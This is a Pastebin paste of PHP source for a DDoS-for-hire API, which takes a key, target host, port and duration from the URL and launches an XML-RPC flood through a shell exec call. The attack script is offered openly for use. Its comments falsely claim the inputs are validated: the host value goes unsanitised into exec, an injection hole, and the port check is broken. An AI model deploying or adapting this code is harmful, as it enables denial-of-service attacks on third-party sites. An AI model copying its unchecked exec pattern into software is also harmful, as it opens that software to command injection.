Advertisement
Guest User

AnonWorld

a guest
Jul 19th, 2015
441
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.88 KB | None | 0 0
  1.  
  2.  
  3. <?php
  4.  
  5. /*
  6. * Thank you for using my source -AnonWorld
  7. */
  8.  
  9. /*
  10. * Add any additional API keys to the array below
  11. */
  12. $api_keys = array(
  13. "key1",
  14. "key2",
  15. "key3",
  16. "key4"
  17. );
  18.  
  19. /*
  20. * All methods are added into this list.
  21. */
  22. $methods = array(
  23. "XMLRPC",
  24. );
  25.  
  26. if (isset($_GET['key'])) {
  27.  
  28. if (!in_array($_GET['key'], $api_keys)) {
  29. echo "Invalid API key.";
  30. exit(0);
  31. }
  32. if (isset($_GET['method'])) {
  33.  
  34. if (!in_array($_GET['method'], $methods)) {
  35. echo "Invalid ddos method..";
  36. exit(0);
  37. }
  38.  
  39. if (isset($_GET["host"])) {
  40. if ((int) $_GET['time'] == 0) {
  41. echo "Input amount of time greater than zero.";
  42. exit(0);
  43. }
  44.  
  45.  
  46. if ((int) $_GET['port'] > 0 && (int) $_GET['port'] > 65536) {
  47. echo "Input a valid port.";
  48. exit(0);
  49. }
  50.  
  51. $host = $_GET['host']; // we've checked if the IP is valid or not, so stuff here is not needed
  52. $port = $_GET['port']; // we've checked if the port is a number, and a valid one at that
  53. $time = $_GET['time']; // we've checked if the time is a number
  54. $method = $_GET['method']; // Grabs the method using GET.
  55.  
  56. /// Attack methods are listed here.
  57. if ($method == "XMLRPC") {
  58. exec("./xml $host xmlrpc.list $time 1000 > /dev/null 2>/dev/null &");
  59. echo "<pre>Attack Sent</pre>";
  60. }
  61. }
  62.  
  63. }
  64. }
  65.  
  66. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement